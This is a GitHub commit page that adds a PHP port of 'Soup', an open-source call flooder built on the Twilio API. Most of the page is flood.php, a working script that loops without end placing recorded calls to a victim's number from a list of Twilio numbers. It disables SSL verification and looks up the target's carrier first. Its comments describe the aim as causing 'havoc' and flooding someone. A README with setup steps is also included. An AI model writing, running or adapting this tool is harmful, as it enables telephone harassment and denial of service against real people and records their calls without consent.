Skip to content

Commit

Permalink
Merge pull request Jfaler#4 from zscally/php-implementation
Browse files Browse the repository at this point in the history
added php implementation of C# call flooder
  • Loading branch information
Justin Faler authored Jul 1, 2017
2 parents 3efcfe6 + cad8d45 commit a1cbe80
Show file tree
Hide file tree
Showing 6 changed files with 250 additions and 0 deletions.
1 change: 1 addition & 0 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
.idea/*
2 changes: 2 additions & 0 deletions PHP/.gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
.idea/*
vendor/*
31 changes: 31 additions & 0 deletions PHP/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,31 @@
[![Open Source Love](https://badges.frapsoft.com/os/v1/open-source.png?v=103)](https://github.com/Jfaler/soup/)
[![GitHub forks](https://img.shields.io/github/forks/Jfaler/soup.svg)](https://github.com/Jfaler/soup/network)
[![GitHub issues](https://img.shields.io/github/issues/jfaler/soup.svg)](https://github.com/jfaler/soup/issues)
# Soup
Open source call flooder written in PHP using Twilio API.

## Version
`
1.0
`
## Installation

* Sign up https://www.twilio.com/try-twilio

* `$ git clone https://github.com/Jfaler/soup`

* Open your terminal/console and run `composer install` inside the director to pull in Twilio SDK
## Usage

PHP 5.6+
Twilio SDK

## Contributing

1. Star & Fork it!
2. Create your feature branch: `git checkout -b my-new-feature`
3. Commit your changes: `git commit -am 'Add some feature'`
4. Push to the branch: `git push origin my-new-feature`
5. Submit a pull request :D


15 changes: 15 additions & 0 deletions PHP/composer.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,15 @@
{
"name": "zscally/php-soup",
"description": "PHP implementation of the C# soup call flood",
"type": "composer require twilio/sdk",
"license": "MIT",
"authors": [
{
"name": "Zachary Scally",
"email": "[email protected]"
}
],
"require": {
"twilio/sdk": "^5.11"
}
}
65 changes: 65 additions & 0 deletions PHP/composer.lock

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

136 changes: 136 additions & 0 deletions PHP/flood.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,136 @@
<?php
/**
* Zachary Scally
* 07/01/2017
* PHP Implementation of the C# Call Flooder
**/
namespace CallBomber;

use Twilio\Exceptions\TwilioException;
use Twilio\Http\CurlClient;
use Twilio\Rest\Client;

class flood
{

protected $accountSid = "";
protected $authToken = "";

private $numbers = [];
private $twilioClient = null;

public $numberToCall;


public function __construct($args)
{
//print soup logo
$this->showLogo();

//set the numbers we're going to use to flood
$this->setNumbers([ //1 phone per line comma separated more the marrier!
''
]);


//create our twilio client
$this->twilioClient = new Client($this->accountSid, $this->authToken);

//turn off ssl verify
$this->twilioClient->setHttpClient( new CurlClient([
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_SSL_VERIFYPEER => false
]));

if( isset( $args[1] ) && $this->validatePhone($args[1]) ) {
//start havoc!
$this->numberToCall = $args[1]; //set the number to call
$count = 1;
do {
print("Starting Call Batch: {$count} -> [" . count($this->numbers) . "] Nums.\n");
foreach ($this->numbers as $fromNumber) {
$this->call($fromNumber);
sleep(1); //sleep 1 sec
}
sleep(5); //sleep 5 sec
$count++;
} while (true); //FOR EVER infinity!
} else {
print("The First Argument must be a phone number to flood. (make sure you add +1 or country code to the number).\n");
}

}

/**
* @param $fromNumber
*
* Method to call Twilio service to make the call and flood the F'uk out of someone
* @return prints if the call was successful or not.
*/
private function call($fromNumber)
{
try
{
$call = $this->twilioClient->calls->create(
$this->numberToCall, // Call this number
$fromNumber, // From a valid Twilio number
array(
'Record' => true,
'url' => 'https://twimlets.com/holdmusic?Bucket=com.twilio.music.ambient'
)
);

print("Starting call to: {$call->to}: from: {$call->from}\n");

}
catch (TwilioException $e)
{
print("Error on number - $fromNumber: {$e->getMessage()}\n");
}
}

/**
* @param array $numbers
* Simple method to set private var numbers
**/
public function setNumbers(array $numbers)
{
$this->numbers = $numbers;
}

private function validatePhone($toNumber)
{
try {
$number = $this->twilioClient->lookups
->phoneNumbers($toNumber)
->fetch(
array("type" => "carrier")
);

print("Valid Number - $toNumber - Phone to blast Info [" . print_r($number->carrier, true) . "] \n\n");
return true;

} catch (TwilioException $e) {
print("Invalid phone number to flood - {$e->getMessage()}");
}
die();
}

/**
* Simple method to show our logo
* @return prints out soup logo.
*/
protected function showLogo()
{
//print our Soup logo
print(" _____ ____ __ ______ \n");
print(" / ___// __ \/ / / / __ \ \n");
print(" \__ \/ / / / / / / /_/ / \n");
print(" ___/ / /_/ / /_/ / ____/ \n");
print("/____/\____/\____/_/ `PHP\n\n\n");
}
}

//include the composer autoloader
require_once('vendor/autoload.php');
new flood($argv);

0 comments on commit a1cbe80

Please sign in to comment.